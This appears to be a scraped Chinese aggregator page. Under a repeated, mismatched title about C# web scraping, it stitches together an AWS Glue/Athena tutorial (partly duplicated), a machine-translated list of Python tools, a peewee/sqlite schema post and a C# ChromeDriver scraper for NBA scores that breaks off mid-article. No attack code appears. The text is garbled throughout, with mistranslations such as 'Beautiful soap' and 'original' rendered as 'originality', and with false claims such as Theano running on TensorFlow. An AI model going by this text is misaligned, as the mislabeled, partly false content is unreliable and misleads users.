  7、 对于频率,选择按需运行。爬虫可以按需运行或设置为按计划运行。
  
  8、 对于数据库,选择 nycitytaxi。了解 AWS Glue 如何处理对数据结构的更改非常重要,这样您就可以选择适当的方法。在此示例中,表结构将随着数据的任何更改而更新。有关架构更改的更多信息,请参阅 AWS Glue 开发人员指南中的使用爬虫编目表。
  
  9、 查看这些步骤,然后选择完成。爬虫已准备好运行。选择立即运行。
  
  爬虫完成后,会添加一个表。
  
  10、 在左侧导航窗格中选择表格,然后选择数据。此屏幕描述了表,包括表结构(模式)、属性和其他有价值的信息。
  
  
  将数据从 CSV 格式转换为 Parquet 格式
  您现在可以配置和运行作业以将数据从 CSV 转换为 Parquet。Parquet 是一种柱状格式,非常适合 Amazon Athena 和 Amazon Redshift Spectrum 等 AWS 分析服务。
  1、 在左侧导航窗格中的 ETL 下,选择作业,然后选择添加作业。
  
  2、 对于名称,键入 nytaxi-csv-parquet。
  3、 对于 IAM 角色,
  请选择 AWSGlueServiceRoleDefault。
  4、 对于此作业运行,选择 AWS Glue 生成的建议脚本。(由 AWS Glue 生成的建议脚本)
  5、 提供唯一的 Amazon S3 路径来存储脚本。
  6、 为临时目录提供唯一的 Amazon S3 目录。
  7、 选择下一步。
  
  8、 选择数据作为数据源。
  
  9、选择在数据目标中创建一个表。
  10、 选择 Parquet 作为格式。
  11、 选择一个新位置(没有任何现有对象的新前缀位置)来存储结果。
  
  12、 验证表结构映射关系,选择Done。
  
  13、 查看此作业。此屏幕提供作业的完整视图,并允许您编辑、保存和运行作业。AWS Glue 创建了这个脚本。但是,如果需要,您可以创建自己的自定义脚本。
  
  14、选择保存,然后运行作业。
  添加 Parquet 表和爬虫
  作业完成后,使用爬虫为 Parquet 数据添加新表。
  1、 对于采集器名称,键入 nytaxiparquet。
  
  2、 选择 S3 作为数据存储。
  3、 包括在 ETL 中选择的 Amazon S3 路径
  
  4、 对于 IAM 角色,选择 AWSGlueServiceRoleDefault。
  
  5、 对于数据库,选择 nycitytaxi。
  
  6、对于频率,选择按需运行。
  
  爬虫完成后,nycitytaxi 数据库中有两张表:一张用于原创 CSV 数据,一张用于转换后的 Parquet 数据。
  使用 Amazon Athena 分析数据
  Amazon Athena 是一种交互式查询服务,可以使用标准 SQL 轻松分析 Amazon S3 中的数据。Athena 可以查询 CSV 数据。但是 Parquet 的文件格式可以大大减少查询数据的时间和成本。有关更多信息,请参阅博客文章使用 Amazon Athena 分析 Amazon S3 中的数据。
  要将 AWS Glue 与 Amazon Athena 结合使用,您必须将 Athena 元数据目录升级到 AWS Glue 数据目录。有关升级 Athena 元数据目录的更多信息,请参阅分步指南。
  1、 打开 Athena 的 AWS 管理控制台。查询编辑器将在 nycitytaxi 中显示两个表
  
  您可以使用标准 SQL 查询数据。
  1、 选择 nytaxigreenparquet
  2、 Type Select * From "nycitytaxi"."data" limit 10;
  3、 选择运行查询。
  
  使用 AWS Glue 和 Amazon S3 为数据湖奠定基础,详情如下:
   查看全部

  c#抓取网页数据(AmazonS3数据存储和分析方法,可解决海量异构数据难题
)
  数据湖是一种越来越流行的数据存储和分析方法,可解决处理大量异构数据的挑战。数据湖允许组织将所有结构化和非结构化数据存储在一个集中的存储库中。由于数据可以按原样存储,因此无需将其转换为预定义的数据结构(与传统的关系数据仓库不同)。
  
  许多组织都了解将 Amazon S3 用作数据湖的好处。例如,Amazon S3 是一种高度耐用、经济高效的对象存储服务,它支持开放数据格式,同时将存储与计算解耦,并且可以与所有 AWS 分析服务集成。尽管 Amazon S3 为您的数据湖提供了基础,但您也可以根据您的业务需求添加其他 AWS 服务来自定义您的数据湖。有关在 AWS 上构建数据湖的更多信息,请参阅什么是数据湖?
  由于使用数据湖的主要挑战之一是查找数据并了解其结构和格式,因此亚马逊最近推出了 AWS Glue。AWS Glue 通过发现数据的结构和格式,显着减少了从 Amazon S3 数据湖快速获取业务洞察所需的时间和精力。AWS Glue 自动爬取 Amazon S3 上的数据,识别数据格式,然后建议可与其他 AWS 分析服务一起使用的数据表结构。
  这篇博文将引导您完成使用 AWS Glue 在 Amazon S3 上结构化地抓取数据的过程,构建可供其他 AWS 产品使用的元数据存储。
  AWS Glue 的功能
  AWS Glue 是一种完全托管的数据目录和 ETL(提取、转换和加载)服务,可简化和自动化数据发现、转换和作业调度等困难且耗时的任务。AWS Glue 使用可识别常见数据格式和数据类型(包括 CSV、Apache Parquet、JSON 等)的预构建分类器来爬取数据源并构建数据目录。
  由于 AWS Glue 与现代数据架构的核心组件 Amazon S3、Amazon RDS、Amazon Athena、Amazon Redshift 和 Amazon Redshift Spectrum 集成,因此可以提供无缝的一站式服务来协调移动和管理你的数据。
  AWS Glue 数据目录与 Apache Hive Metastore 兼容,并支持 Hive、Presto、Apache Spark 和 Apache Pig 等常用工具。它还直接与 Amazon Athena、Amazon EMR 和 Amazon Redshift Spectrum 集成。
  此外,AWS Glue 数据目录具有以下扩展功能,可提供开箱即用的数据管理功能体验:
  - 通过搜索发现数据
  - 使用分类识别和解析文件
  - 使用版本控制管理不断变化的架构
  有关更多信息,请参阅 AWS Glue 产品详细信息。
  Amazon S3 数据湖
  AWS Glue 是 Amazon S3 数据湖不可分割的一部分,为现代数据分析提供数据目录和转换服务。
  
  在上图中,数据针对不同的分析场景进行了分段。最初,数据以其原创格式被摄取,这是数据的不可变副本。然后对数据进行转换和丰富,使其对每个用例都更有价值。在此示例中,原创 CSV 文件被转换为 Apache Parquet 格式以供 Amazon Athena 使用,以提高性能并降低成本。
  我们还可以通过将数据与其他数据集相结合来丰富和提供更多见解。AWS Glue 爬网程序根据作业触发器或预定义的计划为数据的每个转换暂存阶段创建一个表。在此示例中,每次将新文件添加到原创数据 S3 存储桶时,都会触发 AWS Lambda 函数进行 ETL 处理。Amazon Athena、Amazon Redshift Spectrum 和 Amazon EMR 等服务可以在任何阶段使用这些表通过标准 SQL 或 Apache Hive 查询数据。这种架构是一种流行的设计模式,它提供敏捷的商业智能,可以快速轻松地从各种数据中获取商业价值。
  在此演示中,您将定义一个数据库,配置一个爬虫以浏览 Amazon S3 存储桶中的数据,创建一个表,将 CSV 文件转换为 Parquet,为 Parquet 数据创建一个表,并使用 Amazon Athena 查询数据。
  数据发现
  登录 AWS 管理控制台并打开 AWS Glue 控制台。您可以在 Analytics 类别中找到 AWS Glue 服务。在构建此解决方案之前,请查看 AWS 区域列表以了解 Glue 的可用位置。
  数据发现的第一步是添加一个数据库(database)。数据库是表的集合。
  1、 在控制台中,选择添加数据库。在数据库名称中,键入 nycitytaxi,然后选择创建。
  
  2、 在导航窗格中选择表 ( table )。表由列名、数据类型定义和有关数据集的其他元数据组成。
  
  3、 您可以手动或使用爬虫将表添加到数据库 nycitytaxi。爬虫是连接到数据存储并使用分类器的优先级列表来确定数据结构的程序。AWS Glue 为常见文件类型(例如 CSV、JSON、Avro 等)提供分类器。您还可以使用 Grok 模式编写自己的分类器。
  
  4、 要添加爬网程序,请输入数据源:名为 s3://aws-bigdata-blog/artifacts/glue-data-lake/data/ 的 Amazon S3 存储桶。此 S3 存储桶收录一个数据文件,其中收录 2017 年 1 月的所有绿色出租车行程。
  
  5、 选择下一步。
  
  6、 对于 IAM 角色,在下拉列表中选择默认角色 AWSGlueServiceRoleDefault。
  
  7、 对于频率,选择按需运行。爬虫可以按需运行或设置为按计划运行。
  
  8、 对于数据库,选择 nycitytaxi。了解 AWS Glue 如何处理对数据结构的更改非常重要,这样您就可以选择适当的方法。在此示例中,表结构将随着数据的任何更改而更新。有关架构更改的更多信息,请参阅 AWS Glue 开发人员指南中的使用爬虫编目表。
  
  9、 查看这些步骤,然后选择完成。爬虫已准备好运行。选择立即运行。
  
  爬虫完成后,会添加一个表。
  
  10、 在左侧导航窗格中选择表格,然后选择数据。此屏幕描述了表,包括表结构(模式)、属性和其他有价值的信息。
  
  
  将数据从 CSV 格式转换为 Parquet 格式
  您现在可以配置和运行作业以将数据从 CSV 转换为 Parquet。Parquet 是一种柱状格式,非常适合 Amazon Athena 和 Amazon Redshift Spectrum 等 AWS 分析服务。
  1、 在左侧导航窗格中的 ETL 下,选择作业,然后选择添加作业。
  
  2、 对于名称,键入 nytaxi-csv-parquet。
  3、 对于 IAM 角色,
  请选择 AWSGlueServiceRoleDefault。
  4、 对于此作业运行,选择 AWS Glue 生成的建议脚本。(由 AWS Glue 生成的建议脚本)
  5、 提供唯一的 Amazon S3 路径来存储脚本。
  6、 为临时目录提供唯一的 Amazon S3 目录。
  7、 选择下一步。
  
  8、 选择数据作为数据源。
  
  9、选择在数据目标中创建一个表。
  10、 选择 Parquet 作为格式。
  11、 选择一个新位置(没有任何现有对象的新前缀位置)来存储结果。
  
  12、 验证表结构映射关系,选择Done。
  
  13、 查看此作业。此屏幕提供作业的完整视图,并允许您编辑、保存和运行作业。AWS Glue 创建了这个脚本。但是,如果需要,您可以创建自己的自定义脚本。
  
  14、选择保存,然后运行作业。
  添加 Parquet 表和爬虫
  作业完成后,使用爬虫为 Parquet 数据添加新表。
  1、 对于采集器名称,键入 nytaxiparquet。
  
  2、 选择 S3 作为数据存储。
  3、 包括在 ETL 中选择的 Amazon S3 路径
  
  4、 对于 IAM 角色,选择 AWSGlueServiceRoleDefault。
  
  5、 对于数据库,选择 nycitytaxi。
  
  6、对于频率,选择按需运行。
  
  爬虫完成后,nycitytaxi 数据库中有两张表:一张用于原创 CSV 数据,一张用于转换后的 Parquet 数据。
  使用 Amazon Athena 分析数据
  Amazon Athena 是一种交互式查询服务,可以使用标准 SQL 轻松分析 Amazon S3 中的数据。Athena 可以查询 CSV 数据。但是 Parquet 的文件格式可以大大减少查询数据的时间和成本。有关更多信息,请参阅博客文章使用 Amazon Athena 分析 Amazon S3 中的数据。
  要将 AWS Glue 与 Amazon Athena 结合使用,您必须将 Athena 元数据目录升级到 AWS Glue 数据目录。有关升级 Athena 元数据目录的更多信息,请参阅分步指南。
  1、 打开 Athena 的 AWS 管理控制台。查询编辑器将在 nycitytaxi 中显示两个表
  
  您可以使用标准 SQL 查询数据。
  1、 选择 nytaxigreenparquet
  2、 Type Select * From "nycitytaxi"."data" limit 10;
  3、 选择运行查询。
  
  使用 AWS Glue 和 Amazon S3 为数据湖奠定基础,详情如下:
  

c#抓取网页数据(最优秀的Python工具之一-learn-)

网站优化优采云 发表了文章 • 0 个评论 • 74 次浏览 • 2022-04-11 18:35 • 来自相关话题

  c#抓取网页数据(最优秀的Python工具之一-learn-)
  标题图片 | CSDN从东方IC下载
  制作 | CSDN(ID:CSDNnews)
  Python 是一种开源编程语言,可用于网络编程、数据科学、人工智能和许多科学应用。学习 Python 可以让程序员专注于解决问题,而不是语法。由于 Python 比较小而且工具种类繁多,它比 Java 和 C++ 等语言具有优势,而丰富的库赋予了 Python 做各种伟大事情所需的能力。
  以下是程序员和学生最常用的一些 Python 工具:
  
  空闲
  安装 Python 时,IDLE 也会默认安装。这是目前最好的 Python 工具之一。它可以降低 Python 的入门门槛。它的主要功能包括 Python Shell 窗口(交互式解释器)、自动完成、语法突出显示和基本的集成调试器。 IDLE 轻巧易用,易于学习。但是,它不适合大型项目。许多程序员将其用作最好的 Python 工具。
  
  Scikit-学习
  Scikit-learn 是数据科学中最常用的 Python 工具之一。这是一个专为机器学习和数据科学设计的 Python 工具。该工具主要用于分类、回归、聚类、模型选择和预处理等任务。 scikit-Learn 的最佳特性是在测试数据集上执行基准测试的速度令人难以置信。因此,Scikit-learn 是程序员和学生最好的 Python 工具之一。
  
  Theano
  Theano 是一个用于数据科学的 Python 工具,对于程序员和学生来说是一个非常可靠的工具。它是深度学习最好的 Python 工具,因此非常适合深度学习。 Theano 被设计为用户友好、模块化、易于扩展并与 Python 一起使用。它能够以最好的方式表达神经网络。 Theano 可以在 TensorFlow 和 CNTK 等流行的神经网络上运行。
  
  硒
  Selenium 是最好的 Python 自动化工具之一。它适用于 Python 测试的自动化,通常用作 Web 应用程序的自动化框架。我们可以使用 Selenium 编写多种编程语言的测试脚本,包括 Java、C#、Python、ruby 以及程序员和学生使用的许多其他语言。您还可以在 Selenium 中集成 Junit 和 TestNG 等工具来管理测试用例并生成报告。
  
  测试完成
  Testcomplete 是另一个很棒的 Python 自动化工具。支持 Web、移动和桌面自动化测试。更高级的应用程序需要商业许可,它还可以帮助学生提高学习成绩。测试完成还可以像机器人框架一样执行关键字驱动的测试。它有最好的录音和播放功能,非常好用。
  
  美丽的肥皂
  Beautifulsoap 是一个用于网页抓取的 Python 工具。这个 Python 库能够从 HTML 和 XML 文件中提取数据,是一个用于导航、搜索和修改解析树的 Python 工具。此外,Beautiful soap 可以自动将传入的文档转换为 Unicode,将传出的文档自动转换为 UTF-8。它是最好的网页抓取工具,可以节省大量时间。
  
  熊猫
  Pandas 是最常用的数据分析 Python 工具之一。 Pandas 是一个 BSD 许可的开源库,为 Python 编程语言提供高性能和易于使用的数据结构和数据分析工具。长期以来,Python 一直非常适合数据准备。 Pandas 填补了这一空白,您可以在 Python 中执行整个数据分析工作流程,而无需切换到另一个域,而且 Pandas 也是最好的 Python 数据分析工具。
  
  纸浆
  PuLP 是用于线性编程的 Python 工具之一。它是一种优化类型,可以在某些给定的约束条件下最大化目标函数。 PuLP 用 Python 编写的线性规划建模器。
  PuLP 可以生成 LP 文件并调用高度优化的求解器 GLPK、COIN CLP/CBC、CPLEX 和 GUROBI 来解决这些线性问题。学生可以使用这个工具进行常规研究,程序员可以在工作中使用这个工具。
  
  总结
  在本文中,我们讨论了各种最常用的 Python 工具。我们讨论了这些工具的使用以及如何使用它们来提高自己。希望对您有所帮助。
  原文: 查看全部

  c#抓取网页数据(最优秀的Python工具之一-learn-)
  标题图片 | CSDN从东方IC下载
  制作 | CSDN(ID:CSDNnews)
  Python 是一种开源编程语言,可用于网络编程、数据科学、人工智能和许多科学应用。学习 Python 可以让程序员专注于解决问题,而不是语法。由于 Python 比较小而且工具种类繁多,它比 Java 和 C++ 等语言具有优势,而丰富的库赋予了 Python 做各种伟大事情所需的能力。
  以下是程序员和学生最常用的一些 Python 工具:
  
  空闲
  安装 Python 时,IDLE 也会默认安装。这是目前最好的 Python 工具之一。它可以降低 Python 的入门门槛。它的主要功能包括 Python Shell 窗口(交互式解释器)、自动完成、语法突出显示和基本的集成调试器。 IDLE 轻巧易用,易于学习。但是,它不适合大型项目。许多程序员将其用作最好的 Python 工具。
  
  Scikit-学习
  Scikit-learn 是数据科学中最常用的 Python 工具之一。这是一个专为机器学习和数据科学设计的 Python 工具。该工具主要用于分类、回归、聚类、模型选择和预处理等任务。 scikit-Learn 的最佳特性是在测试数据集上执行基准测试的速度令人难以置信。因此,Scikit-learn 是程序员和学生最好的 Python 工具之一。
  
  Theano
  Theano 是一个用于数据科学的 Python 工具,对于程序员和学生来说是一个非常可靠的工具。它是深度学习最好的 Python 工具,因此非常适合深度学习。 Theano 被设计为用户友好、模块化、易于扩展并与 Python 一起使用。它能够以最好的方式表达神经网络。 Theano 可以在 TensorFlow 和 CNTK 等流行的神经网络上运行。
  
  硒
  Selenium 是最好的 Python 自动化工具之一。它适用于 Python 测试的自动化,通常用作 Web 应用程序的自动化框架。我们可以使用 Selenium 编写多种编程语言的测试脚本,包括 Java、C#、Python、ruby 以及程序员和学生使用的许多其他语言。您还可以在 Selenium 中集成 Junit 和 TestNG 等工具来管理测试用例并生成报告。
  
  测试完成
  Testcomplete 是另一个很棒的 Python 自动化工具。支持 Web、移动和桌面自动化测试。更高级的应用程序需要商业许可,它还可以帮助学生提高学习成绩。测试完成还可以像机器人框架一样执行关键字驱动的测试。它有最好的录音和播放功能,非常好用。
  
  美丽的肥皂
  Beautifulsoap 是一个用于网页抓取的 Python 工具。这个 Python 库能够从 HTML 和 XML 文件中提取数据,是一个用于导航、搜索和修改解析树的 Python 工具。此外,Beautiful soap 可以自动将传入的文档转换为 Unicode,将传出的文档自动转换为 UTF-8。它是最好的网页抓取工具,可以节省大量时间。
  
  熊猫
  Pandas 是最常用的数据分析 Python 工具之一。 Pandas 是一个 BSD 许可的开源库,为 Python 编程语言提供高性能和易于使用的数据结构和数据分析工具。长期以来,Python 一直非常适合数据准备。 Pandas 填补了这一空白,您可以在 Python 中执行整个数据分析工作流程,而无需切换到另一个域,而且 Pandas 也是最好的 Python 数据分析工具。
  
  纸浆
  PuLP 是用于线性编程的 Python 工具之一。它是一种优化类型,可以在某些给定的约束条件下最大化目标函数。 PuLP 用 Python 编写的线性规划建模器。
  PuLP 可以生成 LP 文件并调用高度优化的求解器 GLPK、COIN CLP/CBC、CPLEX 和 GUROBI 来解决这些线性问题。学生可以使用这个工具进行常规研究,程序员可以在工作中使用这个工具。
  
  总结
  在本文中,我们讨论了各种最常用的 Python 工具。我们讨论了这些工具的使用以及如何使用它们来提高自己。希望对您有所帮助。
  原文:

Python简单实战项目:《冰与火之歌1-5》角色关系图谱构建——数据库设计

网站优化优采云 发表了文章 • 0 个评论 • 197 次浏览 • 2022-05-14 02:11 • 来自相关话题

  Python简单实战项目:《冰与火之歌1-5》角色关系图谱构建——数据库设计
  
  
  作者:AlanLau Python爱好者社区专栏作者
  简书专栏:
  csdn博客:
  在弄任何一个数据之前,肯定是要先设计数据库的。这里打算将《冰与火之歌》(以下称《冰火》)的文本数据先存入到数据库中,后续在使用python读取数据来处理。
  前期准备
  需要工具:
  1.peewee
  2.sqlite
  3.python3.5(当然python2也是可以的)
  大致说一下:
  1.peewee
  peewee是python中的一个轻量级ORM框架。
  什么是ORM框架?
  不熟悉的同学可以看下面几个peewee的教程:
  -peewee说明文档:#model-definition
  -Python的ORM框架Peewee使用入门(一):
  怎么安装?直接pip install peewee就可以,安装有困难的话可以参考我另一篇博文python中正确安装对应版本的包:
  2.sqlite
  sqlite是一个轻量级的数据库(轻量级这一系列东西很适合做一些小型的数据项目,以后大家可以常用)。起初是我在写C#窗体应用程序的时候发现它的。sqlite很适合用来作嵌入式数据库,和C#中的DataGridView控件简直是绝配,在稍后的博客中我也会提及到用C#配合sqlite+DataGridView开发简单的数据库检索系统,感兴趣的同学可以关注下。
  sqlite的语法基本和标准的sql语言相同,具体还有什么差异可以参考SQLite 教程
  为什么说轻量级呢?它能够轻量到使用火狐浏览器的插件就可以打开。无需像sql server和mySQL一样配置用户和端口。也无需再安装一个专门的软件来写sqlite的sql。所有的所有,一个火狐浏览器+sqlite manager插件就可以完成(当然谷歌浏览器也是可以的,只是本人不常用谷歌的sqlite插件,对谷歌感兴趣的同学可以自行去查一下)。
  火狐浏览器安装sqlite manager插件:打开火狐浏览器→附加组件→右上角的搜索输入:SQLite Manager→安装→重启浏览器。
  3.Python3.5
  python我就没什么好说的,我用的版本是3.5,2.7的同学可以找一下对应的peewee模块。
  数据来源
  我需要弄的是《冰火》人物关系图,但是如何从《冰火》中体现出人物的共现呢?我这里将一个章节内出现的所有人物则作为一次共现。因为根据《冰火》小说的特点,每一章都是以一个人物视角来写的,每一章基本都在讲一个主题。如果以每一段作为共现范围的话,那么一个章节下出现的所有角色将会出现很多次共现,而这些共现是无意义的,因为他们都是在同一个主题下出现的。
  在网上找了现成的《冰火》txt版本下载,但是发现txt内的数据并不好处理。要么一个卷的所有章节堆到一个txt内,每个章节之间没有特别明显的区分特征,这样就无法用python来对文章章节进行分割;要么就是将文中的每一句作为一行,无法区分段落和章节。思来想去,最标准的格式就是现成的小说在线阅读网址。这样小说的每一段都会用给括起来,用大数据领域的话来说,就是赤裸裸的一个结构化数据。只要是结构化的数据,什么都好处理了。所以这里就觉得顺手写一个爬虫,直接从小说在线阅读的网站把《冰火》抓取下来。我找了几个小说网站,最后看准了这家冰与火之歌小说全集:
  后面的网页分析以及网页抓取,将会呈现在 Scrapy+redis+mongodb分布式爬虫抓取小说《冰与火之歌1-5》
  数据库的设计
  根据需求,直接设计一张表足够了。表内属性最多包括id(每一条数据id,作为主键)、chapter(数据来源章节)、title(数据来源章节名)、content(章节内容)、characters(用来存储一个章节中出现的所有角色集合,注意是集合)、url(章节来源网站)、created_at(数据产生时间)。
  代码实现
  结合peewee,最后实现的代码为:
  # -*- coding: utf-8 -*-# @Date : 2017-04-07 10:16:53# @Author : Alan Lau# @Language : Python3.5from peewee import *from datetime import datetimedb = SqliteDatabase(r'A_Song_of_Ice_and_Fire.sqlite')# 建立名字为A_Song_of_Ice_and_Fire.sqlite的数据库class BaseModel(Model): class Meta: database = db#新建一个novel表class novel(BaseModel): id = IntegerField(primary_key=True, verbose_name='id') # 数据id,数据类型是IntegerField,对应sqlite中的Integer,作为主键。 chapter = CharField(max_length=20, null=True, verbose_name='chapter') # 文本章节,数据类型是CharField,对应sqlite中的CHAR,长度为20,允许空值。
   title = CharField(max_length=500, null=True, verbose_name='title') # 章节标题,数据类型是CharField,对应sqlite中的CHAR,长度为500(鬼知道一个标题有多长...),允许空值。 content = TextField(null=True, verbose_name='content') # 章节内容,数据类型是TextField,对应sqlite中的TEXT,长文本。 characters = CharField(max_length=200, null=True, verbose_name='characters') # 章节中出现的演员,数据类型是CharField,对应sqlite中的CHAR,长度为200,允许空值。 url = CharField(max_length=200, null=False, verbose_name='url') # 章节的url,方便出错后重爬 created_at = DateTimeField( default=datetime.now(), null=True, verbose_name='Get_time') # 产生日期if __name__ == '__main__':#执行python try: novel.create_table() #创建表语句 except Exception as err: print(err)
  运行一下
  最后在代码所在的当前路径下产生
  A_Song_of_Ice_and_Fire.sqlite文件
  
  然后用火狐浏览器打开,写一个检索式验证一下:
  
  这里检索式写得不规范,少了个;,大家不要学我….
  到现在,一个数据库就设计好了,结合peewee、sqlite、python,是不是非常方便。
  
  Python爱好者社区历史文章大合集:
  
  福利:文末扫码立刻关注公众号,“Python爱好者社区”,开始学习Python课程: 查看全部

  Python简单实战项目:《冰与火之歌1-5》角色关系图谱构建——数据库设计
  
  
  作者:AlanLau Python爱好者社区专栏作者
  简书专栏:
  csdn博客:
  在弄任何一个数据之前,肯定是要先设计数据库的。这里打算将《冰与火之歌》(以下称《冰火》)的文本数据先存入到数据库中,后续在使用python读取数据来处理。
  前期准备
  需要工具:
  1.peewee
  2.sqlite
  3.python3.5(当然python2也是可以的)
  大致说一下:
  1.peewee
  peewee是python中的一个轻量级ORM框架。
  什么是ORM框架?
  不熟悉的同学可以看下面几个peewee的教程:
  -peewee说明文档:#model-definition
  -Python的ORM框架Peewee使用入门(一):
  怎么安装?直接pip install peewee就可以,安装有困难的话可以参考我另一篇博文python中正确安装对应版本的包:
  2.sqlite
  sqlite是一个轻量级的数据库(轻量级这一系列东西很适合做一些小型的数据项目,以后大家可以常用)。起初是我在写C#窗体应用程序的时候发现它的。sqlite很适合用来作嵌入式数据库,和C#中的DataGridView控件简直是绝配,在稍后的博客中我也会提及到用C#配合sqlite+DataGridView开发简单的数据库检索系统,感兴趣的同学可以关注下。
  sqlite的语法基本和标准的sql语言相同,具体还有什么差异可以参考SQLite 教程
  为什么说轻量级呢?它能够轻量到使用火狐浏览器的插件就可以打开。无需像sql server和mySQL一样配置用户和端口。也无需再安装一个专门的软件来写sqlite的sql。所有的所有,一个火狐浏览器+sqlite manager插件就可以完成(当然谷歌浏览器也是可以的,只是本人不常用谷歌的sqlite插件,对谷歌感兴趣的同学可以自行去查一下)。
  火狐浏览器安装sqlite manager插件:打开火狐浏览器→附加组件→右上角的搜索输入:SQLite Manager→安装→重启浏览器。
  3.Python3.5
  python我就没什么好说的,我用的版本是3.5,2.7的同学可以找一下对应的peewee模块。
  数据来源
  我需要弄的是《冰火》人物关系图,但是如何从《冰火》中体现出人物的共现呢?我这里将一个章节内出现的所有人物则作为一次共现。因为根据《冰火》小说的特点,每一章都是以一个人物视角来写的,每一章基本都在讲一个主题。如果以每一段作为共现范围的话,那么一个章节下出现的所有角色将会出现很多次共现,而这些共现是无意义的,因为他们都是在同一个主题下出现的。
  在网上找了现成的《冰火》txt版本下载,但是发现txt内的数据并不好处理。要么一个卷的所有章节堆到一个txt内,每个章节之间没有特别明显的区分特征,这样就无法用python来对文章章节进行分割;要么就是将文中的每一句作为一行,无法区分段落和章节。思来想去,最标准的格式就是现成的小说在线阅读网址。这样小说的每一段都会用给括起来,用大数据领域的话来说,就是赤裸裸的一个结构化数据。只要是结构化的数据,什么都好处理了。所以这里就觉得顺手写一个爬虫,直接从小说在线阅读的网站把《冰火》抓取下来。我找了几个小说网站,最后看准了这家冰与火之歌小说全集:
  后面的网页分析以及网页抓取,将会呈现在 Scrapy+redis+mongodb分布式爬虫抓取小说《冰与火之歌1-5》
  数据库的设计
  根据需求,直接设计一张表足够了。表内属性最多包括id(每一条数据id,作为主键)、chapter(数据来源章节)、title(数据来源章节名)、content(章节内容)、characters(用来存储一个章节中出现的所有角色集合,注意是集合)、url(章节来源网站)、created_at(数据产生时间)。
  代码实现
  结合peewee,最后实现的代码为:
  # -*- coding: utf-8 -*-# @Date : 2017-04-07 10:16:53# @Author : Alan Lau# @Language : Python3.5from peewee import *from datetime import datetimedb = SqliteDatabase(r'A_Song_of_Ice_and_Fire.sqlite')# 建立名字为A_Song_of_Ice_and_Fire.sqlite的数据库class BaseModel(Model): class Meta: database = db#新建一个novel表class novel(BaseModel): id = IntegerField(primary_key=True, verbose_name='id') # 数据id,数据类型是IntegerField,对应sqlite中的Integer,作为主键。 chapter = CharField(max_length=20, null=True, verbose_name='chapter') # 文本章节,数据类型是CharField,对应sqlite中的CHAR,长度为20,允许空值。
   title = CharField(max_length=500, null=True, verbose_name='title') # 章节标题,数据类型是CharField,对应sqlite中的CHAR,长度为500(鬼知道一个标题有多长...),允许空值。 content = TextField(null=True, verbose_name='content') # 章节内容,数据类型是TextField,对应sqlite中的TEXT,长文本。 characters = CharField(max_length=200, null=True, verbose_name='characters') # 章节中出现的演员,数据类型是CharField,对应sqlite中的CHAR,长度为200,允许空值。 url = CharField(max_length=200, null=False, verbose_name='url') # 章节的url,方便出错后重爬 created_at = DateTimeField( default=datetime.now(), null=True, verbose_name='Get_time') # 产生日期if __name__ == '__main__':#执行python try: novel.create_table() #创建表语句 except Exception as err: print(err)
  运行一下
  最后在代码所在的当前路径下产生
  A_Song_of_Ice_and_Fire.sqlite文件
  
  然后用火狐浏览器打开,写一个检索式验证一下:
  
  这里检索式写得不规范,少了个;,大家不要学我….
  到现在,一个数据库就设计好了,结合peewee、sqlite、python,是不是非常方便。
  
  Python爱好者社区历史文章大合集:
  
  福利:文末扫码立刻关注公众号,“Python爱好者社区”,开始学习Python课程:

c# 爬虫

网站优化优采云 发表了文章 • 0 个评论 • 114 次浏览 • 2022-05-13 04:18 • 来自相关话题

  c# 爬虫
  背景
  最近NBA总决赛吸引了不少球迷,但是因为时差的关系,人家在比赛,我们在上班,有时候上班又不好意思光明正大的看比赛,那有什么办法可以光明正大的看又不被发现呢。
  有,自己动手丰衣足食,ChromeDriver+HtmlAgilityPack爬取比赛实时比分。
  概述
  WebDriver 就是对浏览器提供的原生API进行封装,使其成为一套更加面向对象的Selenium WebDriver API。使用这套API可以操控浏览器的开启、关闭,打开网页,操作界面元素,控制Cookie,还可以操作浏览器截屏、安装插件、设置代理、配置证书等。
  HtmlAgilityPack是.net下的一个HTML解析类库。支持用XPath来解析HTML。这个意义不小,为什么呢?因为对于页面上的元素的xpath某些强大的浏览器能够直接获取得到,并不需要手动写。节约了大半写正则表达式的时间,当然正则表达式有时候在进一步获取的时候还需要写,但是通过xpath解析之后,正则表达式已经要匹配的范围已经非常小了。而且,不用正则表达式在整个页面源代码上匹配,速度也会有提升。总而言之,通过该类库,先通过浏览器获取到xpath获取到节点内容然后再通过正则表达式匹配到所需要的内容,无论是开发速度,还是运行效率都有提升。
  代码实现
  下面我们来看下如何使用ChromeDriver+HtmlAgilityPack爬取比赛实时比分。
  抓取网页
   //api<br />                        string url = "https://sports.qq.com/kbsweb/game.htm?mid=" + model.TxMatchId;<br /><br />                        //   string url = "https://kbs.sports.qq.com/kbsw ... %3Bbr />                        //  MatchUpdate model = new MatchUpdate();<br /><br />                        var cds = ChromeDriverService.CreateDefaultService();<br />                        //是否应隐藏服务的命令提示符窗口<br />                        cds.HideCommandPromptWindow = true;<br /><br />                        ChromeOptions options = new ChromeOptions();<br />                        options.AddArguments("--test-type", "--ignore-certificate-errors");<br />                        //   options.AddArguments("user-agent=mozilla/5.0 (linux; u; android 2.3.3; en-us; sdk build/ gri34) applewebkit/533.1 (khtml, like gecko) version/4.0 mobile safari/533.1");<br />                        options.AddArgument("enable-automation");<br /><br />                        //  options.setBinary("C:/Program Files (x86)/Google/Chrome/chrome.exe");<br /><br />                        var r = ZhimaHttpProxy.GetProxy(false);<br />                        if (r != null)<br />                        {<br />                            Console.WriteLine(r.Address.Host);<br />                            Console.WriteLine(r.Address.Port);<br /><br />                            string proxy_Host = r.Address.Host;<br />                            int proxy_Post = r.Address.Port;<br />                            string Ex_Proxy_Name = "proxy.zip";<br /><br />                            options.Proxy = null;<br />                            options.AddArguments("--proxy-server=" + proxy_Host + ":" + proxy_Post.ToString());<br />                            options.AddExtension(Ex_Proxy_Name);<br />                        }<br /><br />                        if (IsHideMode)<br />                            options.AddArgument("headless");<br /><br />                        string dic = System.Environment.CurrentDirectory + "\\cos";<br /><br />                        if (IsHideMode)<br />                        {<br />                            using (IWebDriver driver = new OpenQA.Selenium.Chrome.ChromeDriver(cds, options, TimeSpan.FromSeconds(120)))<br /><br />                            {<br />                                Excule(driver, url, model);<br />                            }<br />                        }<br />                        else<br />                        {<br />                            using (IWebDriver driver = new OpenQA.Selenium.Chrome.ChromeDriver(dic, options, TimeSpan.FromSeconds(120)))<br /><br />                            {<br />                                Excule(driver, url, model);<br />                            }<br />                        }<br />
  解析网页
